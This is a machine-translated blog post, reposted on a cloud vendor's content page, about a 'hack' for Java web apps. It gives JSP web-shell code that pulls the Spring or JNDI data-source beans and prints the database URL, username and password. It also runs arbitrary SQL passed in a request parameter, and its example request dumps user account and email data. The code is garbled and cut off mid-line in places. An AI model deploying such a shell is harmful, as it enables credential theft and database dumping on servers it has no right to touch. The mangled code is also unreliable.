Java data source "Hack"

Source: Internet
Author: User

Oh, My God... ApplicationContext. xml cannot find the plaintext database connection account password! The Database Password cannot be found even though it has been attacked by JavaWeb application [1]-JavaEE basics and JavaWeb application [7]-Server article [1.

I saw the configuration of dbcp or c3p0 in ApplicationContext, but I didn't write a plaintext password either? How do I connect to the database?

Two common data sources are configured. You can see the specific connection information of the data source at a glance. In fact, we only need to know the id of the data source to connect to the database.

<Bean id = "jwDataSource" and <bean id = "dataSourceGlobal" the IDs of the above two data sources are jwDataSource and dataSourceGlobal, respectively, what we need to do now is to inject the corresponding bean into the jsp to get the database connection.

Last time I posted a piece of code for connecting to the database through the data source of the Server such as Tomcat. In fact, the principle is the same. You can find the id of the data source to connect to the database.

 

 
<% @ Page import = "com. mchange. v2.c3p0. comboPooledDataSource "%> <% @ page import =" javax. SQL. dataSource "%> <% @ page import =" java. SQL. resultSetMetaData "%> <% @ page import =" java. SQL. resultSet "%> <% @ page import =" java. SQL. connection "%> <% @ page import =" org. apache. commons. dbcp. basicDataSource "%> <% @ page import =" org. springframework. context. applicationContext "%> <% @ page import =" org. springframework. web. context. support. webApplicationContextUtils "%> <% @ page language =" java "import =" java. util. * "pageEncoding =" UTF-8 "%> <style> th, td {border: 1px solid # C1DAD7; font-size: 12px; padding: 6px; color: #4f6b72 ;} </style> <% ApplicationContext ctx = WebApplicationContextUtils. getWebApplicationContext (getServletContext (); DataSource bds = (DataSource) ctx. getBean ("datasource"); out. println ("dbcp: <br/>"); // dbcp BasicDataSource dbcp = (BasicDataSource) ctx. getBean ("datasource"); out. println ("URL:" + dbcp. getUrl () + "<br/> UserName:" + dbcp. getUsername () + "<br/> PassWord:" + dbcp. getPassword () + "<br/>"); out. println ("

 

:

Request: http: // localhost: 8080/ylog/spring. jsp? SQL = select id, account, email, qq, sign from wps_sys_user will output the data source account password and Database URL.

What needs to be done now is to determine what type of data source is it? If it is dbcp, delete the corresponding part of c3p0 (you need to delete

 
<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>、//c3p0ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");
If it is not deleted, an error will be reported. The same is true for DBCP. If you are not sure, you only need to query the database and do not want to know the database account and password. That's all right !).

 

Use the data source that comes with the Server:

 
<% @ Page language = "java" import = "java. util. * "pageEncoding =" UTF-8 "%> <% @ page import =" java. io. file "%> <% @ page import =" java. io. fileWriter "%> <% @ page import =" java. io. bufferedWriter "%> <% @ page import =" java. SQL. * "%> <% @ page import =" javax. SQL. * "%> <% @ page import =" javax. naming. * "%> Sometimes you do not need to find this Configuration:

You only need to find java: comp/env/jdbc/ylog in the configuration file (the same applies to other servers ):

The SQL test is executed successfully.

: Jndi-spring.jsp.zip

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.